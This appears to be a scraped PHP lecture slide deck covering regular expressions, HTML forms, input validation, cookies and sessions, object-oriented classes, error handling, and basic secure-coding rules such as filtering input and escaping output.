  • 137. Regex: Predefined classes $regex = ’/p\dp/’; Matches: ‘p3p’, ’p7p’, Doesn’t match: ‘p10p’, ‘P7p’ $regex = ’/p\wp/’; Matches: ‘p3p’, ’pHp’, ’pop’ Doesn’t match: ‘phhp’
  • 138. Regex: the Dot The special dot character matches anything apart from line breaks: $regex = ’/p.p/’; Matches: ‘php’, ’p&p’, ‘p(p’, ‘p3p’, ‘p$p’ Doesn’t match: ‘PHP’, ‘phhp’
  • 139. Regex: RepetitionThere are a number of special characters that indicate the character group may be repeated:
  • 140. Regex: Repetition $regex = ’/ph?p/’; Matches: ‘pp’, ’php’, Doesn’t match: ‘phhp’, ‘pap’ $regex = ’/ph*p/’; Matches: ‘pp’, ’php’, ’phhhhp’ Doesn’t match: ‘pop’, ’phhohp’
  • 141. Regex: Repetition $regex = ’/ph+p/’; Matches: ‘php’, ’phhhhp’, Doesn’t match: ‘pp’, ‘phyhp’ $regex = ’/ph{1,3}p/’; Matches: ‘php’, ’phhhp’ Doesn’t match: ‘pp’, ’phhhhp’
  • 142. Regex: Bracketed repetition The repetition operators can be used on bracketed expressions to repeat multiple characters: $regex = ’/(php)+/’; Matches: ‘php’, ’phpphp’, ‘phpphpphp’ Doesn’t match: ‘ph’, ‘popph’Will it match ‘phpph’?
  • 143. Regex: AnchorsSo far, we have matched anywhere within a string (either the entire data string or part of it). We can change this behaviour by using anchors:
  • 144. Regex: Anchors With NO anchors: $regex = ’/php/’; Matches: ‘php’, ’php is great’, ‘in php we..’ Doesn’t match: ‘pop’
  • 145. Regex: Anchors With start and end anchors: $regex = ’/^php$/’; Matches: ‘php’, Doesn’t match: ’php is great’, ‘in php we..’, ‘pop’
  • 146. Regex: Escape special charactersWe have seen that characters such as ?,.,$,*,+ have a special meaning. If we want to actually use them as a literal, we need to escape them with a backslash. $regex = ’/p\.p/’; Matches: ‘p.p’ Doesn’t match: ‘php’, ‘p1p’
  • 147. So.. An exampleLets define a regex that matches an email:$emailRegex ='/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/i‘; Matches: ‘[email protected]’, ‘[email protected]’ ‘[email protected]’ Doesn’t match: ‘rob@[email protected]’ ‘not.an.email.com’
  • 148. So.. An example/^[a-z\d\._-]+@([a-z\d-]+\.)+[a-z]{2,6}$/iStarting delimiter, and start-of-string anchorUser name – allow any length of letters, numbers, dots, underscore or dashesThe @ separatorDomain (letters, digits or dash only). Repetition to include subdomains.com,uk,info,etc.End anchor, end delimiter, case insensitive
  • 149. Phew..So we now know how to define regular expressions. Further explanation can be found at:http://www.regular-expressions.info/We still need to know how to use them!
  • 150. Boolean MatchingWe can use the function preg_match() to test whether a string matches or not.// match an email$input = ‘[email protected]’;if (preg_match($emailRegex,$input) {echo‘Is a valid email’;} else {echo‘NOT a valid email’;}
  • 151. Pattern replacementWe can use the function preg_replace() to replace any matching strings.// strip any multiple spaces$input = ‘Some comment string’;$regex = ‘/\s\s+/’;$clean = preg_replace($regex,’ ‘,$input);// ‘Some comment string’
  • 152. Sub-referencesWe’re not quite finished: we need to master the concept of sub-references. Any bracketed expression in a regular expression is regarded as a sub-reference. You use it to extract the bits of data you want from a regular expression. Easiest with an example..
  • 153. Sub-reference example:I start with a date string in a particular format:$str = ’10, April 2007’;The regex that matches this is:$regex = ‘/\d+,\s\w+\s\d+/’;If I want to extract the bits of data I bracket the relevant bits:$regex = ‘/(\d+),\s(\w+)\s(\d+)/’;
  • 154. Extracting data..I then pass in an extra argument to the function preg_match(): $str = ’The date is 10, April 2007’;$regex = ‘/(\d+),\s(\w+)\s(\d+)/’;preg_match($regex,$str,$matches); // $matches[0] = ‘10, April 2007’ // $matches[1] = 10 // $matches[2] = April // $matches[3] = 2007
  • 155. Back-referencesThis technique can also be used to reference the original text during replacements with $1,$2,etc. in the replacement string: $str = ’The date is 10, April 2007’;$regex = ‘/(\d+),\s(\w+)\s(\d+)/’; $str = preg_replace($regex,’$1-$2-$3’, $str); // $str = ’The date is 10-April-2007’
  • 156. Phew Again!We now know how to define regular expressions.We now also know how to use them: matching, replacement, data extraction.
  • 158. Forms: how they work We need to know..How forms work.How to write forms in XHTML. How to access the data in PHP.
  • 159. How forms workUser requests a particular URLXHTML Page supplied with FormUser fills in form and submits. Another URL is requested and theForm data is sent to this page either inURL or as a separate piece of data.UserWeb ServerXHTML Response
  • 160. XHTML FormThe form is enclosed in form tags..<form action=“path/to/submit/page” method=“get”><!–- form contents --></form>
  • 161. Form tagsaction=“…” is the page that the form should submit its data to.method=“…” is the method by which the form data is submitted. The option are either get or post. If the method is get the data is passed in the url string, if the method is post it is passed as a separate file.
  • 162. Form fields: text inputUse a text input within form tags for a single line freeform text input.<label for=“fn">First Name</label><input type="text" name="firstname" id=“fn" size="20"/>
  • 163. Form tagsname=“…” is the name of the field. You will use this name in PHP to access the data.id=“…” is label reference string – this should be the same as that referenced in the <label> tag.size=“…” is the length of the displayed text box (number of characters).
  • 164. Form fields: password inputUse a starred text input for passwords.<label for=“pw">Password</label><input type=“password" name=“passwd" id=“pw" size="20"/>
  • 165. Form fields: text inputIf you need more than 1 line to enter data, use a textarea.<label for="desc">Description</label><textarea name=“description” id=“desc“ rows=“10” cols=“30”>Default text goes here…</textarea>
  • 166. Form fields: text areaname=“…” is the name of the field. You will use this name in PHP to access the data.id=“…” is label reference string – this should be the same as that referenced in the <label> tag.rows=“…” cols=“..” is the size of the displayed text box.
  • 167. Form fields: drop down<label for="tn">Where do you live?</label><select name="town" id="tn"><option value="swindon">Swindon</option><option value="london” selected="selected">London</option><option value=“bristol">Bristol</option></select>
  • 168. Form fields: drop downname=“…” is the name of the field. id=“…” is label reference string.<option value=“…” is the actual data sent back to PHP if the option is selected.<option>…</option> is the value displayed to the user.selected=“selected” this option is selected by default.
  • 169. Form fields: radio buttons<input type="radio" name="age" id="u30“ checked=“checked” value="Under30" /><label for="u30">Under 30</label><br /><input type="radio" name="age" id="thirty40" value="30to40" /><label for="thirty40">30 to 40</label>
  • 170. Form fields: radio buttonsname=“…” is the name of the field. All radio boxes with the same name are grouped with only one selectable at a time.id=“…” is label reference string.value=“…” is the actual data sent back to PHP if the option is selected.checked=“checked” this option is selected by default.
  • 171. Form fields: check boxesWhat colours do you like?<br /><input type="checkbox" name="colour[]" id="r" checked="checked" value="red" /><label for="r">Red</label><br /><input type="checkbox" name="colour[]" id="b" value="blue" /><label for="b">Blue</label>
  • 172. Form fields: check boxesname=“…” is the name of the field. Multiple checkboxes can be selected, so if the button are given the same name, they will overwrite previous values. The exception is if the name is given with square brackets – an array is returned to PHP.id=“…” is label reference string.value=“…” is the actual data sent back to PHP if the option is selected.checked=“checked” this option is selected by default.
  • 173. Hidden Fields<input type="hidden" name="hidden_value" value="My Hidden Value" />name=“…” is the name of the field. value=“…” is the actual data sent back to PHP.
  • 174. Submit button..A submit button for the form can be created with the code:<input type="submit" name="submit" value="Submit" />
  • 175. FieldsetIn XHTML 1.0, all inputs must be grouped within the form into fieldsets. These represent logical divisions through larger forms. For short forms, all inputs are contained in a single fieldset.<form><fieldset><input … /><input … /></fieldset><fieldset><input … /><input … /></fieldset></form>
  • 176. In PHP…The form variables are available to PHP in the page to which they have been submitted.The variables are available in two superglobal arrays created by PHP called $_POST and $_GET.
  • 177. Access dataAccess submitted data in the relevant array for the submission type, using the input name as a key.<form action=“path/to/submit/page” method=“get”><input type=“text” name=“email”></form>$email = $_GET[‘email’];
  • 178. A warning.. NEVER TRUST USER INPUTAlways check what has been input.Validation can be undertaken using Regular expressions or in-built PHP functions.
  • 179. A useful tip..I find that storing the validated data in a different array to the original useful.I often name this array ‘clean’ or something similarly intuitive.I then *only* work with the data in $clean, and never refer to $_POST/$_GET again.
  • 180. Example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}
  • 181. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean = array();Initialise an array to store filtered data.
  • 182. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}if (ctype_alnum($_POST['username']))Inspect username to make sure that it is alphanumeric.
  • 183. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean['username'] = $_POST['username'];If it is, store it in the array.
  • 184. Is it submitted?We also need to check before accessing data to see if the data is submitted, use isset() function.if (isset($_POST[‘username’])) { // perform validation}
  • 186. Eh?Now we know how to check whether or not user inputs conform to our rules…… we need to handle gracefully when they fail!User inputs come from forms, and we need to work out how to re-display forms on input validation failure.
  • 187. What are we shooting for?Bullet-proof validation.On validation failure, form should be re-displayed to the user.Don’t make the user fill in fields again that they’ve already done correctly. We want to have to write the form html only once.If validation fails, the user needs some feedback.
  • 188. The One True Way?There are multiple ways to achieve this..I am going to demonstrate ONE way, but you should be aware that it’s not the ONLY way.
  • 189. Single PageMake the form submit to the same page. Why? It keeps everything in one place, and means you only write the form once.<form action="<?phpecho$_SERVER['PHP_SELF']; ?>" method="post" …
  • 190. Page Logicif (form has been submitted) {// validate form}if (valid submission) {// action data} else {// (re)display form}
  • 191. Validation..if (form has been submitted) {// validate form} …can be implemented as…if (isset($_POST[‘submit’])) {// validate form}
  • 192. Maintain separationMaintaining separation between validated and un-validated data helps prevent you make mistakes.$_POST $cleanUNSAFESAFE
  • 193. Accumulate errors..$errors = 0;$errmsg = ‘’;$clean = array();if (isset($_POST[‘submit’])) {if ($_POST[‘value’] is VALID) { $clean[‘value’] = $_POST[‘value’]; } else { $errors++; $errmsg .= ‘data not valid because…’; }// continue testing other fields..}
  • 194. Now to action or display..if (form has been submitted) { // validate form}if (valid submission) {// action data} else {// (re)display form}
  • 195. Now to action or display..if (isset($_POST[‘submit’])) && $errors===0) {// action data} else {// (re)display form}
  • 196. Redisplay form (1)// if (re)displaying form: print// error message if redisplayingif ($error>0) {echo“<p>errors: $errmsg</p>";}
  • 197. Redisplay form (2)<label for=“email">Email:</label><input name=“email" size="40" value="<?phpechoisset($clean[‘email']) ?htmlentities($clean[‘email']) : ‘default'; ?>" id=“email" type="text“ />
  • 198. Maintaining State in PHPPart I - Cookies
  • 199. xHTML - a ‘stateless’ environment stateless (adj.) Having no information about what occurred previously. Most modern applications maintain state, which means that they remember what you were doing last time you ran the application, and they remember all your configuration settings. This is extremely useful because it means you can mould the application to your working habits.Each request for a new web page is processed without any knowledge of previous pages requested or processed.
  • 200. How do they do that?For example: A user ‘logs in’ to a web page. Once logged in, the user can browse the site while maintaining their logged in state.
  • 201. Is PHP stateless?Variables are destroyed as soon as the page script finishes executing.The script can access the ‘referrer’, the address of the previous page, although this can’t really be trusted.$_SERVER['HTTP_REFERER']It is possible to add data to a database/text file to add persistent data, although this is not connected with a particular user…
  • 202. Is PHP Stateless… No!The usual way to maintain state in PHP pages is via the use of Sessions. To understand how these work, we need to have a look at what and how cookies are..
  • 203. What is a Cookie?A cookie is a small text file that is stored on a user’s computer.Each cookie on the user’s computer is connected to a particular domain.Each cookie be used to store up to 4kB of data.A maximum of 20 cookies can be stored on a user’s PC per domain.
  • 204. Example (1)1. User sends a request for page at www.example.com for the first time.page request
  • 205. Example (2)2. Server sends back the page xhtml to the browser AND stores some data in a cookie on the user’s PC.xhtmlcookie data
  • 206. Example (1)3. At the next page request for domain www.example.com, all cookie data associated with this domain is sent too.page requestcookie data
  • 207. Set a cookiesetcookie(name [,value [,expire [,path [,domain [,secure]]]]])name = cookie namevalue = data to store (string)expire = UNIX timestamp when the cookie expires. Default is that cookie expires when browser is closed.path = Path on the server within and below which the cookie is available on.domain = Domain at which the cookie is available for.secure = If cookie should be sent over HTTPS connection only. Default false.
  • 208. Set a cookie - examplessetcookie(‘name’,’Robert’) This command will set the cookie called name on theuser’s PC containing the data Robert. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted when the browser is closed (default expire).
  • 209. Set a cookie - examplessetcookie(‘age’,’20’,time()+60*60*24*30) This command will set the cookie called age on theuser’s PC containing the data 20. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted after 30 days.
  • 210. Set a cookie - examplessetcookie(‘gender’,’male’,0,’/’) This command will set the cookie called gender on theuser’s PC containing the data male. It will be available within the entire domain that set it. It will expire and be deleted when the browser is closed.
  • 211. Read cookie dataAll cookie data is available through the superglobal $_COOKIE:$variable = $_COOKIE[‘cookie_name’]or$variable = $HTTP_COOKIE_VARS[‘cookie_name’];e.g.$age = $_COOKIE[‘age’]
  • 212. Storing an array..Only strings can be stored in Cookie files.To store an array in a cookie, convert it to a string by using the serialize() PHP function. The array can be reconstructed using the unserialize() function once it had been read back in.Remember cookie size is limited!
  • 213. Delete a cookieTo remove a cookie, simply overwrite the cookie with a new one with an expiry time in the past…setcookie(‘cookie_name’,’’,time()-6000)Note that theoretically any number taken away from the time() function should do, but due to variations in local computer times, it is advisable to use a day or two.
  • 214. To be first.. HEADER REQUESTSAs the setcookie command involves sending a HTTP header request, it must be executed before any xhtml is echoed to the browser, including whitespace.echoed whitespace beforesetcookiecorrect!incorrect.
  • 215. Malicious Cookie UsageThere is a bit of a stigma attached to cookies – and they can be maliciously used (e.g. set via 3rd party banner ads).The important thing to note is that some people browse with them turned off. e.g. in FF, Tools > Options > Privacy
  • 216. The USER is in controlCookies are stored client-side, so never trust them completely: They can be easily viewed, modified or created by a 3rd party.They can be turned on and off at will by the user.
  • 217. Maintaining State in PHPPart II - Sessions
  • 218. So…
  • 219. How do ‘Sessions’ work?They are based on assigning each user a unique number, or session id. Even for extremely heavy use sites, this number can for all practical purposes can be regarded as unique. e.g. 26fe536a534d3c7cde4297abb45e275a
  • 220. How do ‘Sessions’ work?This session id is stored in a cookie, or passed in the URL between pages while the user browses.The data to be stored (e.g. name, log-in state, etc.) is stored securely server-side in a PHP superglobal, and referenced using the session id.
  • 221. Crucially, sessions are easy to implement as PHP does all the work!
  • 222. Starting or Resuming a Sessionsession_start(); PHP does all the work: It looks for a valid session id in the $_COOKIE or $_GET superglobals – if found it initializes the data. If none found, a new session id is created. Note that like setcookie(), this function must be called before any echoed output to browser.
  • 223. Starting or Resuming a Sessionsession_start();When doing anything with sessions, this is always called first!
  • 224. Storing Session DataThe $_SESSION superglobal array can be used to store any session data. e.g. $_SESSION[‘name’] = $name; $_SESSION[‘age’] = $age;
  • 225. Reading Session DataData is simply read back from the $_SESSION superglobal array. e.g. $name = $_SESSION[‘name’]; $age = $_SESSION[‘age’];
  • 226. Session PropagationSessions need to pass the session id between pages as a user browses to track the session. It can do this in two ways:Cookie propagationURL propagation
  • 227. Cookie PropagationA cookie is stored on the users PC containing the session id.It is read in whenever session_start(); is called to initialize the session.Default behaviour is a cookie that expires when the browser is closed. Cookie properties can be modified with session_set_cookie_params if required.
  • 228. URL PropagationThe session id is propagated in the URL (…some_folder/index.php?sid=26fe536a534d3c7cde4297abb45e275a)PHP provides a global constant to append the session id to any internal links, SID. e.g.<a href="nextpage.php?<?=SID?>">Next page</a>
  • 229. Which one..?The default setup of a PHP server is to use both methods.it checks whether the user has cookies enabled.If cookies are on, PHP uses cookie propagation. If cookies are off it uses URL propagation.
  • 230. And this means..?That as developers, we must be aware that sessions can be propagated through URL, and append the constant SIDto any internal links.If sessions are being propagated by cookies, the constant SID is an empty string, so the session id is not passed twice.
  • 231. Destroying a SessionOften not required, but if we want to destroy a session:// clear all session variables$_SESSION = array();// delete the session cookie if there is oneif (isset($_COOKIE[session_name()])) {setcookie(session_name(),'',time()-42000,'/');}// destroy sessionsession_destroy();// avoid reusing the SID by redirecting // back to the same page to regenerate sessionheader('Location: '.$_SERVER['PHP_SELF']);
  • 232. Session ExpiryBy default, PHP sessions expire:after a certain length of inactivity (default 1440s), the PHP garbage collection processes deletes session variables. Important as most sessions will not be explicitly destroyed.if propagated by cookies, default is to set a cookie that is destroyed when the browser is closed.If URL propagated, session id is lost as soon as navigate away from the site.
  • 233. Long-term SessionsAlthough it is possible to customize sessions so that they are maintained after the browser is closed, for most practical purposes PHP sessions can be regarded as short-term. Long-term session data (e.g. ‘remember me’ boxes) is usually maintained by explicitly setting and retrieving cookie data.
  • 234. Session Hi-jackingA security issue: if a malicious user manages to get hold of an active session id that is not their own.. e.g.user 1 browsing site with cookies disabled (URL propagation).user 1 logs in.user 1 sends an interesting link to user 2 by email.. The URL copy and pasted contains his session id. user 2 looks at the link before session id is destroyed, and ‘hijacks’ user 1’s session.user 2 is now logged in as user 1!!
  • 235. … rule of thumb … If you are truly security conscious you should assume that a session propagated by URL may be compromised. Propagation using cookies is more secure, but still not foolproof..
  • 236. PHP Classes and Object Orientation
  • 237. Reminder… a functionReusable piece of code.Has its own ‘local scope’.function my_func($arg1,$arg2) {<< function statements >>}
  • 238. Conceptually, what does a function represent? …give the function something (arguments), it does something with them, and then returns a result…Action or Method
  • 239. What is a class?Conceptually, a class represents an object, with associated methods and variables
  • 240. Class Definition<?phpclass dog {public $name;public function bark() {echo‘Woof!’;}} ?>An example class definition for a dog. The dog object has a single attribute, the name, and can perform the action of barking.
  • 241. Class Definition<?phpclass dog {public $name;public function bark() {echo‘Woof!’;}} ?>Define the name of the class.class dog {
  • 242. Class Definition<?phpclass dog {var $namepublic function bark() {echo‘Woof!’;}} ?>public $name;Define an object attribute (variable), the dog’s name.
  • 243. Class DefinitionDefine an object action (function), the dog’s bark.<?phpclass dog {public $name;function bark() {echo‘Woof!’;}} ?>public function bark() {echo‘Woof!’;}
  • 244. Class Definition<?phpclass dog {public $name;public function bark() {echo‘Woof!’;}} ?>End the class definition}
  • 245. Class DefintionSimilar to defining a function..The definition does not do anythingby itself. It is a blueprint, or description, of an object. To do something, you need to use the class…
  • 246. Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>
  • 247. Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>require(‘dog.class.php’);Include the class definition
  • 248. Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>$puppy = new dog();Create a new instance of the class.
  • 249. Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>$puppy->name = ‘Rover’;Set the name variable of this instance to ‘Rover’.
  • 250. Class UsageUse the name variable of this instance in an echo statement..<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>echo “{$puppy->name} says ”;
  • 251. Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>$puppy->bark();Use the dog object bark method.
  • 252. Class Usage<?phprequire(‘dog.class.php’);$puppy = new dog();$puppy->name = ‘Rover’;echo “{$puppy->name} says ”;$puppy->bark();?>[example file: classes1.php]
  • 253. One dollar and one only…$puppy->name = ‘Rover’;The most common mistake is to use more than one dollar sign when accessing variables. The following means something entirely different..$puppy->$name = ‘Rover’;
  • 254. Using attributes within the class..If you need to use the class variables within any class actions, use the special variable $this in the definition: class dog {public $name;public function bark() {echo $this->name.‘ says Woof!’; } }
  • 255. Constructor methodsA constructor method is a function that is automatically executed when the class is first instantiated.Create a constructor by including a function within the class definition with the __construct name.Remember.. if the constructor requires arguments, they must be passed when it is instantiated!
  • 256. Constructor Example<?phpclass dog {public $name;public function__construct($nametext) { $this->name = $nametext; }public function bark() {echo ‘Woof!’;}} ?>Constructor function
  • 257. Constructor Example<?php…$puppy = new dog(‘Rover’); …?>Constructor arguments are passed during the instantiation of the object.
  • 258. Class ScopeLike functions, each instantiated object has its own local scope. e.g. if 2 different dog objects are instantiated, $puppy1 and $puppy2, the two dog names $puppy1->name and $puppy2->name are entirely independent..
  • 259. InheritanceThe real power of using classes is the property of inheritance – creating a hierarchy of interlinked classes. dogparentchildrenpoodlealsatian
  • 260. InheritanceThe child classes ‘inherit’ all the methods and variables of the parent class, and can add extra ones of their own. e.g. the child classes poodle inherits the variable ‘name’ and method ‘bark’ from the dog class, and can add extra ones…
  • 261. Inheritance exampleThe American Kennel Club (AKC) recognizes three sizes of poodle -  Standard,Miniature, and Toy… class poodle extends dog {public $type;public function set_type($height) {if ($height<10) { $this->type = ‘Toy’; } elseif ($height>15) { $this->type = ‘Standard’; } else { $this->type = ‘Miniature’; } } }
  • 262. Inheritance exampleThe American Kennel Club (AKC) recognizes three sizes of poodle -  Standard,Miniature, and Toy… class poodle extends dog {public $typepublic function set_type($height) {if ($height<10) { $this->type = ‘Toy’; } elseif ($height>15) { $this->type = ‘Standard’; } else { $this->type = ‘Miniature’; } } }class poodle extends dog {Note the use of the extends keyword to indicate that the poodle class is a child of the dog class…
  • 263. Inheritance example…$puppy = new poodle(‘Oscar’);$puppy->set_type(12); // 12 inches high!echo“Poodle is called {$puppy->name}, ”;echo“of type {$puppy->type}, saying “;echo $puppy->bark();…
  • 264. …a poodle will always ‘Yip!’It is possible to over-ride a parent method with a new method if it is given the same name in the child class.. class poodle extends dog { …public function bark() {echo ‘Yip!’; } … }
  • 265. Child Constructors?If the child class possesses a constructor function, it is executed and any parent constructor is ignored.If the child class does not have a constructor, the parent’s constructor is executed.If the child and parent does not have a constructor, the grandparent constructor is attempted…… etc.
  • 266. Objects within ObjectsIt is perfectly possible to include objects within another object..class dogtag {    public $words;}class dog {    public $name;    public $tag;    public function bark() {        echo "Woof!\n";    }} …$puppy = new dog;$puppy->name = “Rover";$poppy->tag = new dogtag;$poppy->tag->words = “blah”;…
  • 267. Deleting objectsSo far our objects have not been destroyed till the end of our scripts..Like variables, it is possible to explicitly destroy an object using the unset() function.
  • 268. A copy, or not a copy..Entire objects can be passed as arguments to functions, and can use all methods/variables within the function. Remember however.. like functions the object is COPIED when passed as an argument unless you specify the argument as a reference variable &$variable
  • 269. Why Object Orientate?Reason 1 Once you have your head round the concept of objects, intuitively named object orientated code becomes easy to understand. e.g. $order->display_basket(); $user->card[2]->pay($order); $order->display_status();
  • 270. Why Object Orientate?Reason 2 Existing code becomes easier to maintain.e.g. If you want to extend the capability of a piece of code, you can merely edit the class definitions…
  • 271. Why Object Orientate?Reason 3 New code becomes much quicker to write once you have a suitable class library.e.g. Need a new object..? Usually can extend an existing object. A lot of high quality code is distributed as classes (e.g. http://pear.php.net).
  • 272. There is a lot more…We have really only touched the edge of object orientated programming…http://www.php.net/manual/en/language.oop.php… but I don’t want to confuse you too much!
  • 273. PHP4 vs. PHP5OOP purists will tell you that the object support in PHP4 is sketchy. They are right, in that a lot of features are missing.PHP5 OOP system has had a big redesign and is much better. …but it is worth it to produce OOP code in either PHP4 or PHP5…
  • 275. Types There are 12 unique error types, which canbe grouped into 3 main categories:Informational (Notices)Actionable (Warnings)Fatal
  • 276. Informational ErrorsHarmless problem, and can be avoided through use of explicit programming. e.g. use of an undefined variable, defining a string without quotes, etc. See class example error1.php
  • 277. Actionable ErrorsIndicate that something clearly wrong has happened and that action should be taken. e.g. file not present, database not available, missing function arguments, etc.See class example error2.php
  • 278. Fatal ErrorsSomething so terrible has happened during execution of your script that further processing simply cannot continue. e.g. parsing error, calling an undefined function, etc. See class example error3.php
  • 280. Causing errorsIt is possible to cause PHP at any point in your script.trigger_error($msg,$type);e.g.…if (!$db_conn) {trigger_error(‘db conn failed’,E_USER_ERROR); } …
  • 282. Customizing Error HandlingGenerally, how PHP handles errors is defined by various constants in the installation (php.ini). There are several things you can control in your scripts however..
  • 283. 1. Set error reporting settingserror_reporting($level) This function can be used to control which errors are displayed, and which are simply ignored. The effect only lasts for the duration of the execution of your script.
  • 284. 1. Set error reporting settings<?php// Turn off all error reportingerror_reporting(0);// Report simple running errorserror_reporting(E_ERROR | E_WARNING | E_PARSE);// Reporting E_NOTICE can be good too (to report uninitialized// variables or catch variable name misspellings ...)error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);// Report all errors except E_NOTICEerror_reporting(E_ALL ^ E_NOTICE);// Report ALL PHP errorserror_reporting(E_ALL);?>See class example error4.php
  • 285. 1. Set error reporting settingsHiding errors is NOT a solution to a problem. It is useful, however, to hide any errors produced on a live server. While developing and debugging code, displaying all errors is highly recommended!
  • 286. 2. Suppressing ErrorsThe special @ operator can be used to suppress function errors. Any error produced by the function is suppressed and not displayed by PHP regardless of the error reporting setting.
  • 287. 2. Suppressing Errors$db = @mysql_connect($h,$u,$p);if (!$db) {trigger_error(‘blah’,E_USER_ERROR);}
  • 288. 2. Suppressing Errors$db = @mysql_connect($h,$u,$p);if (!$db) {trigger_error(blah.',E_USER_ERROR);}$db = @mysql_connect($h,$u,$p);Attempt to connect to database. Suppress error notice if it fails..
  • 289. 2. Suppressing Errors$db = @mysql_connect($h,$u,$p);if (!$db) {trigger_error(blah.',E_USER_ERROR);}Since error is suppressed, it must be handled gracefully somewhere else..if (!$db) {trigger_error(‘blah’,E_USER_ERROR);}
  • 290. 2. Suppressing ErrorsError suppression is NOT a solution to a problem.It can be useful to locally define your own error handling mechanisms.If you suppress any errors, you must check for them yourself elsewhere.
  • 291. 3. Custom Error HandlerYou can write your own function to handle PHP errors in any way you want. You simply need to write a function with appropriate inputs, then register it in your script as the error handler.The handler function should be able to receive 4 arguments, and return true to indicate it has handled the error…
  • 292. 3. Custom Error Handlerfunction err_handler( $errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}
  • 293. 3. Custom Error Handlerfunction err_handler( $errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}$errcode,$errmsg,$file,$lineno) {The handler must have 4 inputs..error codeerror messagefile where error occurredline at which error occurred
  • 294. 3. Custom Error Handlerfunction err_handler( $errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;Any PHP statements can be executed…
  • 295. 3. Custom Error Handlerfunction err_handler( $errcode,$errmsg,$file,$lineno) {echo‘An error has occurred!<br />’;echo“file: $file<br />”;echo“line: $lineno<br />”;echo“Problem: $errmsg”;return true;}Return true to let PHP knowthat the custom error handlerhas handled the error OK.return true;
  • 296. 3. Custom Error HandlerThe function then needs to be registered as your custom error handler:set_error_handler(‘err_handler’);You can ‘mask’ the custom error handler so it only receives certain types of error. e.g. to register a custom handler just for user triggered errors:set_error_handler(‘err_handler’, E_USER_NOTICE | E_USER_WARNING | E_USER_ERROR);
  • 297. 3. Custom Error HandlerA custom error handler is never passed E_PARSE, E_CORE_ERROR or E_COMPILE_ERROR errors as these are considered too dangerous.Often used in conjunction with a ‘debug’ flag for neat combination of debug and production code display..See class example error5.php
  • 298. ReviewVarious different error types exist in PHP. The error handling system is highly flexible, and your own error handling methods can be developed.
  • 300. Two Golden RulesFILTER external inputObvious.. $_POST, $_COOKIE, etc.
  • 301. Less obvious.. $_SERVERESCAPE outputClient browser
  • 302. MYSQL databaseTwo Golden RulesCookiexhtmlFilterEscapePHP ScriptFormsMYSQLReferer, etc.
  • 303. FilteringProcess by which you inspect data to prove its validity.Adopt a whitelist approach if possible: assume the data is invalid unless you can prove otherwise.Useless unless you can keep up with what has been filtered and what hasn’t…
  • 304. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}
  • 305. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean = array();Initialise an array to store filtered data.
  • 306. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}if (ctype_alnum($_POST['username']))Inspect username to make sure that it is alphanumeric.
  • 307. Filter example$clean = array();if (ctype_alnum($_POST['username'])){$clean['username'] = $_POST['username'];}$clean['username'] = $_POST['username'];If it is, store it in the array.
  • 308. Escaping OutputProcess by which you escape characters that have a special meaning on a remote system.Unless you’re sending data somewhere unusual, there is probably a function that does this for you..The two most common outputs are xhtml to the browser (use htmlentities()) or a MYSQL db (use mysql_real_escape_string()).
  • 309. Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";
  • 310. Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";$xhtml = array();Initialize an array for storing escaped data.
  • 311. Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');Escape the filtered username, and store it in the array.
  • 312. Escape example$xhtml = array();$xhtml['username'] = htmlentities($clean['username'],ENT_QUOTES,'UTF-8');echo"<p>Welcome back, {$xhtml['username']}.</p>";echo"<p>Welcome back, {$xhtml['username']}.</p>";Send the filtered and escaped username to the client.
  • 313. That’s it!If you follow these rules religiously, you will produce secure code that is hard to break.If you don’t, you will be susceptible to.. Next: COMMON ATTACK METHODS
  • 314. Register Globals: Eh?All superglobal variable array indexes are available as variable names.. e.g. in your scripts:$_POST[‘name’] is available as $name $_COOKIE[‘age’] is available as $ageMost PHP installations have this option turned off, but you should make sure your code is secure if it is turned on.
